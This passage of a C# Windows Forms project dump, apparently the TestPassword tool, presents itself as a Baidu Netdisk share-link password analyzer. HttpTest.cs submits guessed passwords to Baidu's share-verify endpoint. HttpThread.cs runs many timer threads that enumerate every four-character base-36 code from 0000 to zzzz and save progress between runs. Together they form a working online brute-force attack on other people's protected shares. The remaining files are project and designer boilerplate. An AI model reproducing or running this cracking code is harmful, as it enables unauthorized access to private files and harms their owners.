Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n</root>"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/Properties/Settings.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     此代码由工具生成。\r\n//     运行时版本:4.0.30319.42000\r\n//\r\n//     对此文件的更改可能会导致不正确的行为，并且如果\r\n//     重新生成代码，这些更改将会丢失。\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace zgcwkj.Properties {\r\n    \r\n    \r\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\r\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator\", \"14.0.0.0\")]\r\n    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {\r\n        \r\n        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));\r\n        \r\n        public static Settings Default {\r\n            get {\r\n                return defaultInstance;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/Properties/Settings.settings",
    "content": "﻿<?xml version='1.0' encoding='utf-8'?>\r\n<SettingsFile xmlns=\"http://schemas.microsoft.com/VisualStudio/2004/01/settings\" CurrentProfile=\"(Default)\">\r\n  <Profiles>\r\n    <Profile Name=\"(Default)\" />\r\n  </Profiles>\r\n  <Settings />\r\n</SettingsFile>\r\n"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/StaticClass.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// 静态类\r\n    /// </summary>\r\n    public static class StaticClass\r\n    {\r\n        /// <summary>\r\n        /// 线程状态\r\n        /// </summary>\r\n        public static bool status { get; set; }\r\n        /// <summary>\r\n        /// 目标连接\r\n        /// </summary>\r\n        public static string url { get; set; }\r\n        /// <summary>\r\n        /// 存放的路径\r\n        /// </summary>\r\n        public static string file { get; set; }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword/TestPassword.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"14.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\r\n  <PropertyGroup>\r\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\r\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\r\n    <ProjectGuid>{AC42684F-60E0-464C-881D-B679DA8D8A7B}</ProjectGuid>\r\n    <OutputType>WinExe</OutputType>\r\n    <AppDesignerFolder>Properties</AppDesignerFolder>\r\n    <RootNamespace>zgcwkj</RootNamespace>\r\n    <AssemblyName>TestPassword</AssemblyName>\r\n    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>\r\n    <FileAlignment>512</FileAlignment>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugSymbols>true</DebugSymbols>\r\n    <DebugType>full</DebugType>\r\n    <Optimize>false</Optimize>\r\n    <OutputPath>bin\\Debug\\</OutputPath>\r\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugType>pdbonly</DebugType>\r\n    <Optimize>true</Optimize>\r\n    <OutputPath>bin\\Release\\</OutputPath>\r\n    <DefineConstants>TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup>\r\n    <ApplicationIcon>ico.ico</ApplicationIcon>\r\n  </PropertyGroup>\r\n  <ItemGroup>\r\n    <Reference Include=\"System\" />\r\n    <Reference Include=\"System.Core\" />\r\n    <Reference Include=\"System.Xml.Linq\" />\r\n    <Reference Include=\"System.Data.DataSetExtensions\" />\r\n    <Reference Include=\"Microsoft.CSharp\" />\r\n    <Reference Include=\"System.Data\" />\r\n    <Reference Include=\"System.Deployment\" />\r\n    <Reference Include=\"System.Drawing\" />\r\n    <Reference Include=\"System.Windows.Forms\" />\r\n    <Reference Include=\"System.Xml\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Compile Include=\"HttpTest.cs\" />\r\n    <Compile Include=\"Hash.cs\" />\r\n    <Compile Include=\"HttpThread.cs\" />\r\n    <Compile Include=\"Main.cs\">\r\n      <SubType>Form</SubType>\r\n    </Compile>\r\n    <Compile Include=\"Main.Designer.cs\">\r\n      <DependentUpon>Main.cs</DependentUpon>\r\n    </Compile>\r\n    <Compile Include=\"Program.cs\" />\r\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\r\n    <Compile Include=\"StaticClass.cs\" />\r\n    <EmbeddedResource Include=\"Main.resx\">\r\n      <DependentUpon>Main.cs</DependentUpon>\r\n    </EmbeddedResource>\r\n    <EmbeddedResource Include=\"Properties\\Resources.resx\">\r\n      <Generator>ResXFileCodeGenerator</Generator>\r\n      <LastGenOutput>Resources.Designer.cs</LastGenOutput>\r\n      <SubType>Designer</SubType>\r\n    </EmbeddedResource>\r\n    <Compile Include=\"Properties\\Resources.Designer.cs\">\r\n      <AutoGen>True</AutoGen>\r\n      <DependentUpon>Resources.resx</DependentUpon>\r\n      <DesignTime>True</DesignTime>\r\n    </Compile>\r\n    <None Include=\"Properties\\Settings.settings\">\r\n      <Generator>SettingsSingleFileGenerator</Generator>\r\n      <LastGenOutput>Settings.Designer.cs</LastGenOutput>\r\n    </None>\r\n    <Compile Include=\"Properties\\Settings.Designer.cs\">\r\n      <AutoGen>True</AutoGen>\r\n      <DependentUpon>Settings.settings</DependentUpon>\r\n      <DesignTimeSharedInput>True</DesignTimeSharedInput>\r\n    </Compile>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Content Include=\"ico.ico\" />\r\n  </ItemGroup>\r\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\r\n  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. \r\n       Other similar extension points exist, see Microsoft.Common.targets.\r\n  <Target Name=\"BeforeBuild\">\r\n  </Target>\r\n  <Target Name=\"AfterBuild\">\r\n  </Target>\r\n  -->\r\n</Project>"
  },
  {
    "path": "TestPassword V1.8.0.4/TestPassword.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio 14\r\nVisualStudioVersion = 14.0.23107.0\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"TestPassword\", \"TestPassword\\TestPassword.csproj\", \"{AC42684F-60E0-464C-881D-B679DA8D8A7B}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/Hash.cs",
    "content": "﻿using System;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public static class Hash\r\n    {\r\n        //哈希类 36进制\r\n        //有效哈希[10000000,11679615]\r\n\r\n        #region 只支持4位 By MXWXZ\r\n\r\n        public static string HashTo4Str(int hash)\r\n        {\r\n            string ret = \"\";\r\n            hash -= 10000000;\r\n            while (hash > 0)\r\n            {\r\n                ret += Hash2Char(hash % 36);\r\n                hash /= 36;\r\n            }\r\n            if (ret.Length == 3) ret += \"0\";//前导零\r\n            if (ret.Length == 2) ret += \"00\";\r\n            if (ret.Length == 1) ret += \"000\";\r\n            if (ret.Length == 0) ret += \"0000\";\r\n            return reverse(ret);\r\n        }\r\n\r\n        public static int StrTo4Hash(string str)\r\n        {\r\n            int ret = 0;\r\n            ret += Char2Hash(str[0]) * 46656;\r\n            ret += Char2Hash(str[1]) * 1296;\r\n            ret += Char2Hash(str[2]) * 36;\r\n            ret += Char2Hash(str[3]);\r\n            ret += 10000000;//防止前导零\r\n            return ret;\r\n        }\r\n\r\n        #endregion 只支持4位 By MXWXZ\r\n\r\n        #region 只支持6位 By zgcwkj\r\n\r\n        public static string HashTo6Str(int hash)\r\n        {\r\n            string ret = \"\";\r\n            hash -= 100000;\r\n            while (hash > 0)\r\n            {\r\n                ret += Hash2Char(hash % 36);\r\n                hash /= 36;\r\n            }\r\n            if (ret.Length == 5) ret += \"0\";//前导零\r\n            if (ret.Length == 4) ret += \"00\";\r\n            if (ret.Length == 3) ret += \"000\";\r\n            if (ret.Length == 2) ret += \"0000\";\r\n            if (ret.Length == 1) ret += \"00000\";\r\n            if (ret.Length == 0) ret += \"000000\";\r\n            return reverse(ret);\r\n        }\r\n\r\n        public static int StrTo6Hash(string str)\r\n        {\r\n            int ret = 0;\r\n            ret += Char2Hash(str[0]) * 60466176;\r\n            ret += Char2Hash(str[1]) * 1679616;\r\n            ret += Char2Hash(str[2]) * 46656;\r\n            ret += Char2Hash(str[3]) * 1296;\r\n            ret += Char2Hash(str[4]) * 36;\r\n            ret += Char2Hash(str[5]);\r\n            ret += 100000;//防止前导零\r\n            return ret;\r\n        }\r\n\r\n        #endregion 只支持6位 By zgcwkj\r\n\r\n        private static int Char2Hash(char c)\r\n        {\r\n            if (c >= '0' && c <= '9') return c - '0';\r\n            else return c - 'a' + 10;\r\n        }\r\n\r\n        private static char Hash2Char(int hash)\r\n        {\r\n            if (hash >= 0 && hash <= 9) return (char)('0' + hash);\r\n            else return (char)('a' + hash - 10);\r\n        }\r\n\r\n        private static string reverse(string str)\r\n        {\r\n            char[] arr = str.ToCharArray();\r\n            Array.Reverse(arr);\r\n            return new string(arr);\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/HttpTest.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Net;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// Http测试类(百度网盘分享连接密码测试)\r\n    /// </summary>\r\n    public class HttpTest\r\n    {\r\n        private string info = \"\";//唯一识别文件的值\r\n\r\n        /// <summary>\r\n        /// 实例测试类\r\n        /// </summary>\r\n        /// <param name=\"url\">访问的链接</param>\r\n        public HttpTest(string url)\r\n        {\r\n            info = \"surl=\" + url.Replace(\"https\", \"\").Replace(\"http\", \"\").Replace(\"://pan.baidu.com/\", \"\").Replace(\"share/init?surl=\", \"\").Replace(\"s/1\", \"\");\r\n        }\r\n\r\n        /// <summary>\r\n        /// 访问网页\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public string Get()\r\n        {\r\n            return HttpGet(\"https://pan.baidu.com/share/init?\" + info);\r\n        }\r\n\r\n        /// <summary>\r\n        /// 提交密码\r\n        /// </summary>\r\n        /// <param name=\"pwd\">密码</param>\r\n        /// <returns></returns>\r\n        public string Post(string pwd)\r\n        {\r\n            DateTime time = DateTime.Now;\r\n            DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));\r\n            string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();\r\n\r\n            string url = \"https://pan.baidu.com/share/verify?\" + info + \"&t=\" + ts.ToString() + \"&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==\";\r\n            string data = \"pwd=\" + pwd + \"&vcode=&vcode_str=\";\r\n\r\n            return HttpPost(url, data);\r\n        }\r\n\r\n        #region 网络请求\r\n\r\n        private CookieContainer cookie = new CookieContainer();\r\n\r\n        #region Get请求\r\n\r\n        /// <summary>\r\n        /// 请求路径\r\n        /// </summary>\r\n        /// <param name=\"Url\">请求的路径</param>\r\n        /// <returns>返回请求的网页数据</returns>\r\n        private string HttpGet(string Url)\r\n        {\r\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n            request.Method = \"GET\";\r\n            request.ContentType = \"text/html;charset=UTF-8\";\r\n            request.CookieContainer = cookie;\r\n\r\n            try\r\n            {\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n                return retString;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                return e.Message;\r\n            }\r\n        }\r\n\r\n        #endregion Get请求\r\n\r\n        #region Post请求\r\n\r\n        /// <summary>\r\n        /// 提交数据\r\n        /// </summary>\r\n        /// <param name=\"Url\">提交的路径</param>\r\n        /// <param name=\"Data\">提交的数据</param>\r\n        /// <returns>返回结果</returns>\r\n        private string HttpPost(string Url, string Data)\r\n        {\r\n            try\r\n            {\r\n                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n                request.ContentType = \"application/x-www-form-urlencoded;charset=UTF-8\";\r\n                request.Referer = \"https://pan.baidu.com/share/init?\" + info;\r\n                request.ContentLength = Encoding.UTF8.GetByteCount(Data);\r\n                request.CookieContainer = cookie;\r\n                request.Method = \"POST\";\r\n\r\n                Stream myRequestStream = request.GetRequestStream();\r\n                byte[] postBytes = Encoding.UTF8.GetBytes(Data);\r\n                myRequestStream.Write(postBytes, 0, postBytes.Length);\r\n\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                response.Cookies = cookie.GetCookies(response.ResponseUri);\r\n\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n\r\n                return retString;\r\n            }\r\n            catch (Exception ex)\r\n            {\r\n                return ex.Message;\r\n            }\r\n        }\r\n\r\n        #endregion Post请求\r\n\r\n        #endregion 网络请求\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/HttpThread.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Timers;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public class HttpThread\r\n    {\r\n        private Main myMain;//主窗体\r\n        private int StartValue = 0;//基值\r\n        private int NumberValue = 0;//剩余次数\r\n        private Timer timer;//线程\r\n        private string ThreadID;//线程ID\r\n\r\n        /// <summary>\r\n        /// http请求线程类\r\n        /// </summary>\r\n        /// <param name=\"main\">主窗体</param>\r\n        /// <param name=\"name\">线程名称</param>\r\n        /// <param name=\"start\">开始值</param>\r\n        /// <param name=\"number\">结束值</param>\r\n        /// <param name=\"interval\">线程速度</param>\r\n        public HttpThread(Main main, string name, int start, int number, int interval)\r\n        {\r\n            myMain = main;\r\n            StartValue = start;\r\n            NumberValue = number;\r\n            ThreadID = StaticClass.file + \"/\" + name;\r\n            timer = new Timer(interval);\r\n        }\r\n\r\n        /// <summary>\r\n        /// 启动线程\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public HttpThread Start()\r\n        {\r\n            #region 载入历史参数\r\n\r\n            try\r\n            {\r\n                if (File.Exists(ThreadID + \".ini\"))\r\n                {\r\n                    string _start = File.ReadAllText(ThreadID + \".ini\");\r\n                    if (_start != \"\") StartValue = Convert.ToInt32(_start);\r\n                }\r\n            }\r\n            catch { }\r\n\r\n            #endregion 载入历史参数\r\n\r\n            timer.Elapsed += new ElapsedEventHandler(_Timer);\r\n            timer.Start();\r\n            return this;\r\n        }\r\n\r\n        private void _Timer(object sender, ElapsedEventArgs e)\r\n        {\r\n            Timer timer = sender as Timer;\r\n            if (NumberValue < StartValue || StaticClass.status)\r\n            {\r\n                #region 保存历史参数\r\n\r\n                try\r\n                {\r\n                    File.Delete(ThreadID + \".ini\");\r\n                    File.AppendAllText(ThreadID + \".ini\", StartValue.ToString());\r\n                }\r\n                catch { }\r\n\r\n                #endregion 保存历史参数\r\n\r\n                timer.Stop();\r\n            }\r\n            else\r\n            {\r\n                string password = Hash.HashTo4Str(StartValue);\r\n                HttpTest httptest = new HttpTest(StaticClass.url);\r\n                myMain.ModifyStr(httptest.Post(password), password);\r\n                StartValue = StartValue + 1;\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/Main.Designer.cs",
    "content": "﻿namespace zgcwkj\r\n{\r\n    partial class Main\r\n    {\r\n        /// <summary>\r\n        /// 必需的设计器变量。\r\n        /// </summary>\r\n        private System.ComponentModel.IContainer components = null;\r\n\r\n        /// <summary>\r\n        /// 清理所有正在使用的资源。\r\n        /// </summary>\r\n        /// <param name=\"disposing\">如果应释放托管资源，为 true；否则为 false。</param>\r\n        protected override void Dispose(bool disposing)\r\n        {\r\n            if (disposing && (components != null))\r\n            {\r\n                components.Dispose();\r\n            }\r\n            base.Dispose(disposing);\r\n        }\r\n\r\n        #region Windows 窗体设计器生成的代码\r\n\r\n        /// <summary>\r\n        /// 设计器支持所需的方法 - 不要修改\r\n        /// 使用代码编辑器修改此方法的内容。\r\n        /// </summary>\r\n        private void InitializeComponent()\r\n        {\r\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));\r\n            this.txt_url = new System.Windows.Forms.Label();\r\n            this.text_url = new System.Windows.Forms.TextBox();\r\n            this.gb_1 = new System.Windows.Forms.GroupBox();\r\n            this.text_zxsd = new System.Windows.Forms.TextBox();\r\n            this.text_xczs = new System.Windows.Forms.TextBox();\r\n            this.text_jsd = new System.Windows.Forms.TextBox();\r\n            this.text_ksd = new System.Windows.Forms.TextBox();\r\n            this.txt_zxsd = new System.Windows.Forms.Label();\r\n            this.txt_xczs = new System.Windows.Forms.Label();\r\n            this.txt_jsd = new System.Windows.Forms.Label();\r\n            this.txt_ksd = new System.Windows.Forms.Label();\r\n            this.txt_ts = new System.Windows.Forms.Label();\r\n            this.btn_start = new System.Windows.Forms.Button();\r\n            this.fBD = new System.Windows.Forms.FolderBrowserDialog();\r\n            this.btn_status = new System.Windows.Forms.Button();\r\n            this.btn_net = new System.Windows.Forms.Button();\r\n            this.btn_apk = new System.Windows.Forms.Button();\r\n            this.btn_app = new System.Windows.Forms.Button();\r\n            this.btn_blog = new System.Windows.Forms.Button();\r\n            this.gb_1.SuspendLayout();\r\n            this.SuspendLayout();\r\n            // \r\n            // txt_url\r\n            // \r\n            this.txt_url.AutoSize = true;\r\n            this.txt_url.Location = new System.Drawing.Point(12, 15);\r\n            this.txt_url.Name = \"txt_url\";\r\n            this.txt_url.Size = new System.Drawing.Size(65, 12);\r\n            this.txt_url.TabIndex = 0;\r\n            this.txt_url.Text = \"目标地址：\";\r\n            // \r\n            // text_url\r\n            // \r\n            this.text_url.Location = new System.Drawing.Point(83, 11);\r\n            this.text_url.Name = \"text_url\";\r\n            this.text_url.Size = new System.Drawing.Size(389, 21);\r\n            this.text_url.TabIndex = 1;\r\n            // \r\n            // gb_1\r\n            // \r\n            this.gb_1.Controls.Add(this.text_zxsd);\r\n            this.gb_1.Controls.Add(this.text_xczs);\r\n            this.gb_1.Controls.Add(this.text_jsd);\r\n            this.gb_1.Controls.Add(this.text_ksd);\r\n            this.gb_1.Controls.Add(this.txt_zxsd);\r\n            this.gb_1.Controls.Add(this.txt_xczs);\r\n            this.gb_1.Controls.Add(this.txt_jsd);\r\n            this.gb_1.Controls.Add(this.txt_ksd);\r\n            this.gb_1.Location = new System.Drawing.Point(12, 38);\r\n            this.gb_1.Name = \"gb_1\";\r\n            this.gb_1.Size = new System.Drawing.Size(460, 73);\r\n            this.gb_1.TabIndex = 2;\r\n            this.gb_1.TabStop = false;\r\n            this.gb_1.Text = \"相关配置\";\r\n            // \r\n            // text_zxsd\r\n            // \r\n            this.text_zxsd.Location = new System.Drawing.Point(321, 17);\r\n            this.text_zxsd.MaxLength = 4;\r\n            this.text_zxsd.Name = \"text_zxsd\";\r\n            this.text_zxsd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_zxsd.TabIndex = 5;\r\n            this.text_zxsd.Text = \"200\";\r\n            this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\r\n            // \r\n            // text_xczs\r\n            // \r\n            this.text_xczs.Location = new System.Drawing.Point(93, 17);\r\n            this.text_xczs.MaxLength = 4;\r\n            this.text_xczs.Name = \"text_xczs\";\r\n            this.text_xczs.Size = new System.Drawing.Size(131, 21);\r\n            this.text_xczs.TabIndex = 4;\r\n            this.text_xczs.Text = \"100\";\r\n            this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\r\n            // \r\n            // text_jsd\r\n            // \r\n            this.text_jsd.Location = new System.Drawing.Point(321, 43);\r\n            this.text_jsd.MaxLength = 4;\r\n            this.text_jsd.Name = \"text_jsd\";\r\n            this.text_jsd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_jsd.TabIndex = 7;\r\n            this.text_jsd.Text = \"zzzz\";\r\n            // \r\n            // text_ksd\r\n            // \r\n            this.text_ksd.Location = new System.Drawing.Point(93, 43);\r\n            this.text_ksd.MaxLength = 4;\r\n            this.text_ksd.Name = \"text_ksd\";\r\n            this.text_ksd.Size = new System.Drawing.Size(131, 21);\r\n            this.text_ksd.TabIndex = 6;\r\n            this.text_ksd.Text = \"0000\";\r\n            // \r\n            // txt_zxsd\r\n            // \r\n            this.txt_zxsd.AutoSize = true;\r\n            this.txt_zxsd.Location = new System.Drawing.Point(232, 20);\r\n            this.txt_zxsd.Name = \"txt_zxsd\";\r\n            this.txt_zxsd.Size = new System.Drawing.Size(89, 12);\r\n            this.txt_zxsd.TabIndex = 1;\r\n            this.txt_zxsd.Text = \"线程执行速度：\";\r\n            // \r\n            // txt_xczs\r\n            // \r\n            this.txt_xczs.AutoSize = true;\r\n            this.txt_xczs.Location = new System.Drawing.Point(10, 20);\r\n            this.txt_xczs.Name = \"txt_xczs\";\r\n            this.txt_xczs.Size = new System.Drawing.Size(65, 12);\r\n            this.txt_xczs.TabIndex = 0;\r\n            this.txt_xczs.Text = \"线程总数：\";\r\n            // \r\n            // txt_jsd\r\n            // \r\n            this.txt_jsd.AutoSize = true;\r\n            this.txt_jsd.Location = new System.Drawing.Point(232, 46);\r\n            this.txt_jsd.Name = \"txt_jsd\";\r\n            this.txt_jsd.Size = new System.Drawing.Size(77, 12);\r\n            this.txt_jsd.TabIndex = 3;\r\n            this.txt_jsd.Text = \"密码结束点：\";\r\n            // \r\n            // txt_ksd\r\n            // \r\n            this.txt_ksd.AutoSize = true;\r\n            this.txt_ksd.Location = new System.Drawing.Point(10, 46);\r\n            this.txt_ksd.Name = \"txt_ksd\";\r\n            this.txt_ksd.Size = new System.Drawing.Size(77, 12);\r\n            this.txt_ksd.TabIndex = 2;\r\n            this.txt_ksd.Text = \"密码开始点：\";\r\n            // \r\n            // txt_ts\r\n            // \r\n            this.txt_ts.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) \r\n            | System.Windows.Forms.AnchorStyles.Left) \r\n            | System.Windows.Forms.AnchorStyles.Right)));\r\n            this.txt_ts.ForeColor = System.Drawing.Color.Red;\r\n            this.txt_ts.Location = new System.Drawing.Point(12, 163);\r\n            this.txt_ts.Name = \"txt_ts\";\r\n            this.txt_ts.Size = new System.Drawing.Size(379, 69);\r\n            this.txt_ts.TabIndex = 8;\r\n            this.txt_ts.Text = \"程序：百度网盘分享文件密码分析器 V 1.8.0.5\\r\\n\\r\\n作者：zgcwkj 20180525 更新 (请您著明本程序的出处，谢谢)\\r\\n\\r\\n说明：本程序完全免费\" +\r\n    \"，来自 52pojie 的 MXWXZ 提供数据提交方案\\r\\n\\r\\n开源地址：https://github.com/zgcwkj/TestBaiduPassword\" +\r\n    \"\";\r\n            this.txt_ts.Click += new System.EventHandler(this.txt_ts_Click);\r\n            // \r\n            // btn_start\r\n            // \r\n            this.btn_start.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_start.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));\r\n            this.btn_start.Location = new System.Drawing.Point(12, 114);\r\n            this.btn_start.Name = \"btn_start\";\r\n            this.btn_start.Size = new System.Drawing.Size(234, 44);\r\n            this.btn_start.TabIndex = 3;\r\n            this.btn_start.Text = \"打开/生成 解决方案\";\r\n            this.btn_start.UseVisualStyleBackColor = true;\r\n            this.btn_start.Click += new System.EventHandler(this.btn_start_Click);\r\n            // \r\n            // btn_status\r\n            // \r\n            this.btn_status.Enabled = false;\r\n            this.btn_status.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_status.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));\r\n            this.btn_status.Location = new System.Drawing.Point(252, 114);\r\n            this.btn_status.Name = \"btn_status\";\r\n            this.btn_status.Size = new System.Drawing.Size(94, 44);\r\n            this.btn_status.TabIndex = 4;\r\n            this.btn_status.Text = \"启动\";\r\n            this.btn_status.UseVisualStyleBackColor = true;\r\n            this.btn_status.Click += new System.EventHandler(this.btn_status_Click);\r\n            // \r\n            // btn_net\r\n            // \r\n            this.btn_net.Font = new System.Drawing.Font(\"宋体\", 14F, System.Drawing.FontStyle.Bold);\r\n            this.btn_net.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0)))));\r\n            this.btn_net.Location = new System.Drawing.Point(364, 114);\r\n            this.btn_net.Name = \"btn_net\";\r\n            this.btn_net.Size = new System.Drawing.Size(108, 44);\r\n            this.btn_net.TabIndex = 5;\r\n            this.btn_net.Text = \"联网查密\";\r\n            this.btn_net.UseVisualStyleBackColor = true;\r\n            this.btn_net.Click += new System.EventHandler(this.btn_net_Click);\r\n            // \r\n            // btn_apk\r\n            // \r\n            this.btn_apk.Font = new System.Drawing.Font(\"宋体\", 12F, System.Drawing.FontStyle.Bold);\r\n            this.btn_apk.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(192)))), ((int)(((byte)(0)))));\r\n            this.btn_apk.Location = new System.Drawing.Point(397, 161);\r\n            this.btn_apk.Name = \"btn_apk\";\r\n            this.btn_apk.Size = new System.Drawing.Size(75, 36);\r\n            this.btn_apk.TabIndex = 6;\r\n            this.btn_apk.Text = \"安卓版\";\r\n            this.btn_apk.UseVisualStyleBackColor = true;\r\n            this.btn_apk.Click += new System.EventHandler(this.btn_apk_Click);\r\n            // \r\n            // btn_app\r\n            // \r\n            this.btn_app.Font = new System.Drawing.Font(\"宋体\", 12F, System.Drawing.FontStyle.Bold);\r\n            this.btn_app.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(192)))), ((int)(((byte)(0)))));\r\n            this.btn_app.Location = new System.Drawing.Point(397, 198);\r\n            this.btn_app.Name = \"btn_app\";\r\n            this.btn_app.Size = new System.Drawing.Size(75, 36);\r\n            this.btn_app.TabIndex = 7;\r\n            this.btn_app.Text = \"苹果版\";\r\n            this.btn_app.UseVisualStyleBackColor = true;\r\n            this.btn_app.Click += new System.EventHandler(this.btn_app_Click);\r\n            // \r\n            // btn_blog\r\n            // \r\n            this.btn_blog.FlatAppearance.BorderSize = 0;\r\n            this.btn_blog.Font = new System.Drawing.Font(\"宋体\", 8F);\r\n            this.btn_blog.Location = new System.Drawing.Point(397, 240);\r\n            this.btn_blog.Margin = new System.Windows.Forms.Padding(0);\r\n            this.btn_blog.Name = \"btn_blog\";\r\n            this.btn_blog.Size = new System.Drawing.Size(75, 19);\r\n            this.btn_blog.TabIndex = 9;\r\n            this.btn_blog.Text = \"关注我\";\r\n            this.btn_blog.UseVisualStyleBackColor = true;\r\n            this.btn_blog.Click += new System.EventHandler(this.btn_blog_Click);\r\n            // \r\n            // Main\r\n            // \r\n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);\r\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\r\n            this.ClientSize = new System.Drawing.Size(484, 241);\r\n            this.Controls.Add(this.btn_blog);\r\n            this.Controls.Add(this.btn_app);\r\n            